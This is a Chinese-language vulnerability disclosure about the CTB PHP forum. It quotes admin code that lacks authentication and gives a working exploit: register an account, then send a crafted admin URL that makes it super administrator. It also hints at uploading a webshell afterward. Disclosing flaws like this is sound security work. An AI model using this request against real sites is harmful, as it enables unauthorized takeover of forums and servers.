漂亮但不安全的CTB
程序员文章站
2023-02-14 16:14:53
>>>dedicated this scrap to&nbs...
>>>dedicated this scrap to caojing<<<
涉及版本:
^^^^^^^
目前所有版本(现在1.3alpha为最高版本)
描述:
^^^^^^
ctb是一款由实易数码<11cn.org>;开发和维护的源代码开放的php论坛。由于其后台管理文件验证存在缺陷,可能导致非法用户直接添加论坛超级管理员,进而威胁论坛或服务器安全。
具体:
^^^^
ctb书写非常规范,代码井然有序,赏心悦目,的确是优美的程序;特别是其功能模块,着实让小弟学习了一把。但安全方面却令人堪忧:
试看如下代码:
/admin/main.php
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
//获取get变量
if( is_array($_get) ) {
foreach($_get as $k=>$v) {
if( is_array( $_get[$k]) ) {
foreach($_get[$k] as $k2=>$v2) {
$return[$k][$k2] = $v2;
}
} else {
$return[$k] = $v;
}
}
}
...
$mod = isset($_get['mod']) ? $_get['mod'] : $_post['mod'];
if (!file_exists($mod.".php" {
$mod = "mainright";
}
require_once ($mod.".php";
//-----------------------------------------------------------------------------
//初始化类变量
$ctb = new module;
$ctb->set = $set;
$ctb->tplpath = "./templates";
$ctb->input = $return;
$ctb->sess = isset($_cookie["sess_adminname"]) ? $_cookie : $_session;
$ctb->execute();
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
这里没有任何验证,我们看看添加管理员的文件:
/admin/systemuser.php
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
class module extends commonclass
//系统管理模块子类
{
function execute() {
switch($this->input['action']) {
...
case 'addsystemuser':
$this->addsystemuser();
break;
...
}
}
function addsystemuser()
{
//输入数据简单格式化
$this->inputcheck("main.php?mod=systemuser&action=showsystemuser";
//执行添加操作
$this->file = "../".$this->set[datapath]."/users/list.php";
$systemline = $this->select(4, $this->input['systemusername']);
....
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
依然没有验证,一路顺利啊!
利用方法:
^^^^^^^
先注册一个用户:
登陆id: cat
用户名 : dog
密码: ilikecat
重复密码: ilikecat
信箱: cat@dog.com
接着提交如下url:
http://www.target.com/ctb/admin/main.php?mod=systemuser&systemusername=dog&systemusermode=1&action=addsystemuser
哈哈,你现在已经是超级管理员了,不相信?提交如下url后台登陆:
http://www.psych.com/ctb/admin/main.php?mod=login
管理名称: cat
管理密码: ilikecat
咦...还真成功了!
你现在是不是想更改后台上传文件类型,然后upload webshell?哼,被我猜到了吧...
后记:另外发现ctb代码注释有些扎眼的错别字,大煞风景,希望可以一起修正。